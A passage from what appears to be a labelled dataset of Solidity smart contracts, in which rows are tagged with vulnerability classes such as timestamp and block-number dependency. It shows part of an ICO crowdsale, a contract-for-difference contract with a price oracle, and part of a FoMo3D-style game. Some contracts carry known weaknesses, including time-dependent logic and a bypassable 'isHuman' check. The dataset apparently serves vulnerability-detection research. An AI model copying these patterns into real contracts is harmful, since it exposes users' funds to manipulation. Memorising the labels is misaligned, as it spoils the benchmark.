_token, _etherHolder, _preIcoDuration[0], _icoDuration[1], _maxPreICOTokenSupply.add(_maxICOTokenSupply), _etherPriceInUSD ) { softCap = 250000000000; hardCap = 3578912800000; price = _price; preICOStats.maxTokenSupply = _maxPreICOTokenSupply; tiers.push( Tier( uint256(65), _preIcoDuration[0], _preIcoDuration[0].add(1 hours) ) ); tiers.push( Tier( uint256(60), _preIcoDuration[0].add(1 hours), _preIcoDuration[0].add(1 days) ) ); tiers.push( Tier( uint256(57), _preIcoDuration[0].add(1 days), _preIcoDuration[0].add(2 days) ) ); tiers.push( Tier( uint256(55), _preIcoDuration[0].add(2 days), _preIcoDuration[0].add(3 days) ) ); tiers.push( Tier( uint256(50), _preIcoDuration[0].add(3 days), _preIcoDuration[1] ) ); tiers.push( Tier( uint256(25), _icoDuration[0], _icoDuration[0].add(1 weeks) ) ); tiers.push( Tier( uint256(15), _icoDuration[0].add(1 weeks), _icoDuration[0].add(2 weeks) ) ); tiers.push( Tier( uint256(10), _icoDuration[0].add(2 weeks), _icoDuration[0].add(3 weeks) ) ); tiers.push( Tier( uint256(5), _icoDuration[0].add(3 weeks), _icoDuration[1] ) ); } function changeICODates(uint256 _tierId, uint256 _start, uint256 _end) public onlyOwner { require(_start != 0 && _start < _end && _tierId < tiers.length); Tier storage icoTier = tiers[_tierId]; icoTier.startTime = _start; icoTier.endTime = _end; if (_tierId == PRE_ICO_TIER_FIRST) { startTime = _start; } else if (_tierId == ICO_TIER_LAST) { endTime = _end; } } function isActive() public view returns (bool) { if (hardCap == collectedUSD.add(preICOStats.collectedUSD)) { return false; } if (soldTokens == maxTokenSupply) { return false; } return withinPeriod(); } function withinPeriod() public view returns (bool) { return getActiveTier() != tiers.length; } function setPrivateSale(address _privateSale) public onlyOwner { if (_privateSale != address(0)) { privateSale = SellableToken(_privateSale); } } function getActiveTier() public view returns (uint256) { for (uint256 i = 0; i < tiers.length; i++) { if (block.timestamp >= tiers[i].startTime && block.timestamp <= tiers[i].endTime) { return i; } } return uint256(tiers.length); } function calculateTokensAmount(uint256 _value) public view returns (uint256 tokenAmount, uint256 usdAmount) { if (_value == 0) { return (0, 0); } uint256 activeTier = getActiveTier(); if (activeTier == tiers.length) { if (endTime < block.timestamp) { return (0, 0); } if (startTime > block.timestamp) { activeTier = PRE_ICO_TIER_FIRST; } } usdAmount = _value.mul(etherPriceInUSD); tokenAmount = usdAmount.div(price * (100 - tiers[activeTier].discount) / 100); usdAmount = usdAmount.div(uint256(10) ** 18); if (usdAmount < minPurchase) { return (0, 0); } } function calculateEthersAmount(uint256 _tokens) public view returns (uint256 ethers, uint256 usdAmount) { if (_tokens == 0) { return (0, 0); } uint256 activeTier = getActiveTier(); if (activeTier == tiers.length) { if (endTime < block.timestamp) { return (0, 0); } if (startTime > block.timestamp) { activeTier = PRE_ICO_TIER_FIRST; } } usdAmount = _tokens.mul((price * (100 - tiers[activeTier].discount) / 100)); ethers = usdAmount.div(etherPriceInUSD); if (ethers < getMinEthersInvestment()) { return (0, 0); } usdAmount = usdAmount.div(uint256(10) ** 18); } function getStats(uint256 _ethPerBtc) public view returns ( uint256 sold, uint256 maxSupply, uint256 min, uint256 soft, uint256 hard, uint256 tokenPrice, uint256 tokensPerEth, uint256 tokensPerBtc, uint256[24] tiersData ) { sold = soldTokens; maxSupply = maxTokenSupply.sub(preICOStats.maxTokenSupply); min = minPurchase; soft = softCap; hard = hardCap; tokenPrice = price; uint256 usd; (tokensPerEth, usd) = calculateTokensAmount(1 ether); (tokensPerBtc, usd) = calculateTokensAmount(_ethPerBtc); uint256 j = 0; for (uint256 i = 0; i < tiers.length; i++) { tiersData[j++] = uint256(tiers[i].discount); tiersData[j++] = uint256(tiers[i].startTime); tiersData[j++] = uint256(tiers[i].endTime); } } function burnUnsoldTokens() public onlyOwner { if (block.timestamp >= endTime && maxTokenSupply > soldTokens) { token.burnUnsoldTokens(maxTokenSupply.sub(soldTokens)); maxTokenSupply = soldTokens; } } function isTransferAllowed(address _from, uint256 _value) public view returns (bool status){ if (collectedUSD.add(preICOStats.collectedUSD) < softCap) { if (token.balanceOf(_from) >= icoBalances[_from] && token.balanceOf(_from).sub(icoBalances[_from])> _value) { return true; } return false; } return true; } function isRefundPossible() public view returns (bool) { if (isActive() || block.timestamp < startTime || collectedUSD.add(preICOStats.collectedUSD) >= softCap) { return false; } return true; } function refund() public returns (bool) { if (!isRefundPossible() || etherBalances[msg.sender] == 0) { return false; } uint256 burnedAmount = token.burnInvestorTokens(msg.sender, icoBalances[msg.sender]); if (burnedAmount == 0) { return false; } uint256 etherBalance = etherBalances[msg.sender]; etherBalances[msg.sender] = 0; msg.sender.transfer(etherBalance); Refund(msg.sender, etherBalance, burnedAmount); return true; } function updatePreICOMaxTokenSupply(uint256 _amount) public { if (msg.sender == address(privateSale)) { maxTokenSupply = maxTokenSupply.add(_amount); preICOStats.maxTokenSupply = preICOStats.maxTokenSupply.add(_amount); } } function moveUnsoldTokensToICO() public onlyOwner { uint256 unsoldTokens = preICOStats.maxTokenSupply - preICOStats.soldTokens; if (unsoldTokens > 0) { preICOStats.maxTokenSupply = preICOStats.soldTokens; } } function transferEthers() internal { if (collectedUSD.add(preICOStats.collectedUSD) >= softCap) { etherHolder.transfer(this.balance); } } function mintPreICO( address _address, uint256 _tokenAmount, uint256 _ethAmount, uint256 _usdAmount ) internal returns (uint256) { uint256 mintedAmount = token.mint(_address, _tokenAmount); require(mintedAmount == _tokenAmount); preICOStats.soldTokens = preICOStats.soldTokens.add(_tokenAmount); preICOStats.collectedEthers = preICOStats.collectedEthers.add(_ethAmount); preICOStats.collectedUSD = preICOStats.collectedUSD.add(_usdAmount); require(preICOStats.maxTokenSupply >= preICOStats.soldTokens); require(maxTokenSupply >= preICOStats.soldTokens); return _tokenAmount; } function buy(address _address, uint256 _value) internal returns (bool) { if (_value == 0 || _address == address(0)) { return false; } uint256 activeTier = getActiveTier(); if (activeTier == tiers.length) { return false; } uint256 tokenAmount; uint256 usdAmount; uint256 mintedAmount; (tokenAmount, usdAmount) = calculateTokensAmount(_value); require(usdAmount > 0 && tokenAmount > 0); if (activeTier >= PRE_ICO_TIER_FIRST && activeTier <= PRE_ICO_TIER_LAST) { mintedAmount = mintPreICO(_address, tokenAmount, _value, usdAmount); etherHolder.transfer(this.balance); } else { mintedAmount = mintInternal(_address, tokenAmount); require(soldTokens <= maxTokenSupply.sub(preICOStats.maxTokenSupply)); collectedUSD = collectedUSD.add(usdAmount); require(hardCap >= collectedUSD.add(preICOStats.collectedUSD) && usdAmount > 0 && mintedAmount > 0); collectedEthers = collectedEthers.add(_value); etherBalances[_address] = etherBalances[_address].add(_value); icoBalances[_address] = icoBalances[_address].add(tokenAmount); transferEthers(); } Contribution(_address, _value, tokenAmount); return true; } }",./Dataset/timestamp dependency (TP)/,6,6 3386.sol,"pragma solidity 0.4.24; pragma solidity 0.4.24; contract DSAuthority { function canCall( address src, address dst, bytes4 sig ) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } contract AssetPriceOracle is DSAuth { struct AssetPriceRecord { uint128 price; bool isRecord; } mapping(uint128 => mapping(uint128 => AssetPriceRecord)) public assetPriceRecords; event AssetPriceRecorded( uint128 indexed assetId, uint128 indexed blockNumber, uint128 indexed price ); constructor() public { } function recordAssetPrice(uint128 assetId, uint128 blockNumber, uint128 price) public auth { assetPriceRecords[assetId][blockNumber].price = price; assetPriceRecords[assetId][blockNumber].isRecord = true; emit AssetPriceRecorded(assetId, blockNumber, price); } function getAssetPrice(uint128 assetId, uint128 blockNumber) public view returns (uint128 price) { AssetPriceRecord storage priceRecord = assetPriceRecords[assetId][blockNumber]; require(priceRecord.isRecord); return priceRecord.price; } function () public { } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function mul(int256 a, int256 b) internal pure returns (int256) { if (a == 0) { return 0; } int256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function div(int256 a, int256 b) internal pure returns (int256) { int256 INT256_MIN = int256((uint256(1) << 255)); assert(a != INT256_MIN || b != -1); return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; assert((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; assert((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } } contract ContractForDifference is DSAuth { using SafeMath for int256; enum Position { Long, Short } struct Party { address addr; uint128 withdrawBalance; Position position; bool isPaid; } struct Cfd { Party maker; Party taker; uint128 assetId; uint128 amount; uint128 contractStartBlock; uint128 contractEndBlock; bool isTaken; bool isSettled; bool isRefunded; } uint128 public leverage = 1; AssetPriceOracle public priceOracle; mapping(uint128 => Cfd) public contracts; uint128 public numberOfContracts; event LogMakeCfd ( uint128 indexed cfdId, address indexed makerAddress, Position indexed makerPosition, uint128 assetId, uint128 amount, uint128 contractEndBlock); event LogTakeCfd ( uint128 indexed cfdId, address indexed makerAddress, Position makerPosition, address indexed takerAddress, Position takerPosition, uint128 assetId, uint128 amount, uint128 contractStartBlock, uint128 contractEndBlock); event LogCfdSettled ( uint128 indexed cfdId, address indexed makerAddress, address indexed takerAddress, uint128 amount, uint128 startPrice, uint128 endPrice, uint128 makerSettlement, uint128 takerSettlement); event LogCfdRefunded ( uint128 indexed cfdId, address indexed makerAddress, uint128 amount); event LogCfdForceRefunded ( uint128 indexed cfdId, address indexed makerAddress, uint128 makerAmount, address indexed takerAddress, uint128 takerAmount); event LogWithdrawal ( uint128 indexed cfdId, address indexed withdrawalAddress, uint128 amount); constructor(address priceOracleAddress) public { priceOracle = AssetPriceOracle(priceOracleAddress); } function makeCfd( address makerAddress, uint128 assetId, Position makerPosition, uint128 contractEndBlock ) public payable returns (uint128) { require(contractEndBlock > block.number); require(msg.value > 0); require(makerAddress != address(0)); uint128 contractId = numberOfContracts; Party memory maker = Party(makerAddress, 0, makerPosition, false); Party memory taker = Party(address(0), 0, Position.Long, false); Cfd memory newCfd = Cfd( maker, taker, assetId, uint128(msg.value), 0, contractEndBlock, false, false, false ); contracts[contractId] = newCfd; numberOfContracts++; emit LogMakeCfd( contractId, contracts[contractId].maker.addr, contracts[contractId].maker.position, contracts[contractId].assetId, contracts[contractId].amount, contracts[contractId].contractEndBlock ); return contractId; } function getCfd( uint128 cfdId ) public view returns (address makerAddress, Position makerPosition, address takerAddress, Position takerPosition, uint128 assetId, uint128 amount, uint128 startTime, uint128 endTime, bool isTaken, bool isSettled, bool isRefunded) { Cfd storage cfd = contracts[cfdId]; return ( cfd.maker.addr, cfd.maker.position, cfd.taker.addr, cfd.taker.position, cfd.assetId, cfd.amount, cfd.contractStartBlock, cfd.contractEndBlock, cfd.isTaken, cfd.isSettled, cfd.isRefunded ); } function takeCfd( uint128 cfdId, address takerAddress ) public payable returns (bool success) { Cfd storage cfd = contracts[cfdId]; require(cfd.isTaken != true); require(cfd.isSettled != true); require(cfd.isRefunded != true); require(cfd.maker.addr != address(0)); require(cfd.taker.addr == address(0)); require(msg.value == cfd.amount); require(takerAddress != address(0)); require(block.number <= cfd.contractEndBlock); cfd.taker.addr = takerAddress; cfd.taker.position = cfd.maker.position == Position.Long ? Position.Short : Position.Long; cfd.contractStartBlock = uint128(block.number); cfd.isTaken = true; emit LogTakeCfd( cfdId, cfd.maker.addr, cfd.maker.position, cfd.taker.addr, cfd.taker.position, cfd.assetId, cfd.amount, cfd.contractStartBlock, cfd.contractEndBlock ); return true; } function settleAndWithdrawCfd( uint128 cfdId ) public { address makerAddr = contracts[cfdId].maker.addr; address takerAddr = contracts[cfdId].taker.addr; settleCfd(cfdId); withdraw(cfdId, makerAddr); withdraw(cfdId, takerAddr); } function settleCfd( uint128 cfdId ) public returns (bool success) { Cfd storage cfd = contracts[cfdId]; require(cfd.contractEndBlock <= block.number); require(!cfd.isSettled); require(!cfd.isRefunded); require(cfd.isTaken); require(cfd.maker.addr != address(0)); require(cfd.taker.addr != address(0)); uint128 amount = cfd.amount; uint128 startPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractStartBlock); uint128 endPrice = priceOracle.getAssetPrice(cfd.assetId, cfd.contractEndBlock); uint128 takerSettlement = getSettlementAmount(amount, startPrice, endPrice, cfd.taker.position); if (takerSettlement > 0) { cfd.taker.withdrawBalance = takerSettlement; } uint128 makerSettlement = (amount * 2) - takerSettlement; cfd.maker.withdrawBalance = makerSettlement; cfd.isSettled = true; emit LogCfdSettled ( cfdId, cfd.maker.addr, cfd.taker.addr, amount, startPrice, endPrice, makerSettlement, takerSettlement ); return true; } function withdraw( uint128 cfdId, address partyAddress ) public { Cfd storage cfd = contracts[cfdId]; Party storage party = partyAddress == cfd.maker.addr ? cfd.maker : cfd.taker; require(party.withdrawBalance > 0); require(!party.isPaid); uint128 amount = party.withdrawBalance; party.withdrawBalance = 0; party.isPaid = true; party.addr.transfer(amount); emit LogWithdrawal( cfdId, party.addr, amount ); } function getSettlementAmount( uint128 amountUInt, uint128 entryPriceUInt, uint128 exitPriceUInt, Position position ) public view returns (uint128) { require(position == Position.Long || position == Position.Short); if (entryPriceUInt == exitPriceUInt) {return amountUInt;} if (entryPriceUInt == 0 && exitPriceUInt > 0) { return position == Position.Long ? amountUInt * 2 : 0; } int256 entryPrice = int256(entryPriceUInt); int256 exitPrice = int256(exitPriceUInt); int256 amount = int256(amountUInt); int256 priceDiff = position == Position.Long ? exitPrice.sub(entryPrice) : entryPrice.sub(exitPrice); int256 settlement = amount.add(priceDiff.mul(amount).mul(leverage).div(entryPrice)); if (settlement < 0) { return 0; } else if (settlement > amount * 2) { return amountUInt * 2; } else { return uint128(settlement); } } function refundCfd( uint128 cfdId ) public returns (bool success) { Cfd storage cfd = contracts[cfdId]; require(!cfd.isSettled); require(!cfd.isTaken); require(!cfd.isRefunded); require(msg.sender == cfd.maker.addr); cfd.isRefunded = true; cfd.maker.isPaid = true; cfd.maker.addr.transfer(cfd.amount); emit LogCfdRefunded( cfdId, cfd.maker.addr, cfd.amount ); return true; } function forceRefundCfd( uint128 cfdId ) public auth { Cfd storage cfd = contracts[cfdId]; require(!cfd.isRefunded); cfd.isRefunded = true; uint128 takerAmount = 0; if (cfd.taker.addr != address(0)) { takerAmount = cfd.amount; cfd.taker.withdrawBalance = 0; cfd.taker.addr.transfer(cfd.amount); } cfd.maker.withdrawBalance = 0; cfd.maker.addr.transfer(cfd.amount); emit LogCfdForceRefunded( cfdId, cfd.maker.addr, cfd.amount, cfd.taker.addr, takerAmount ); } function () public { } }",./Dataset/block number dependency (BN),0,0 1123.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } contract modularFast is F3Devents {} contract FoMo3DFast is modularFast { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x27D5C0C175C1Ba67986319ac297d2F4D3bC2b7b2); address private admin = msg.sender; bool public activated_ = false; string constant public name = ""FOMO Test""; string constant public symbol = ""Test""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 30 minutes; uint256 constant private rndInc_ = 20 seconds; uint256 constant private rndMax_ = 8 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXnameQR(address _realSender,bytes32 _affCode, uint256 _team) isActivated() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePIDQR(_realSender,_eventData_); uint256 _pID = pIDxAddr_[_realSender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCoreQR(_realSender, _pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function withdrawQR(address _realSender) isActivated() payable public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[_realSender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( _realSender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, _realSender, plyr_[_pID].name, _eth, _now); } } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, 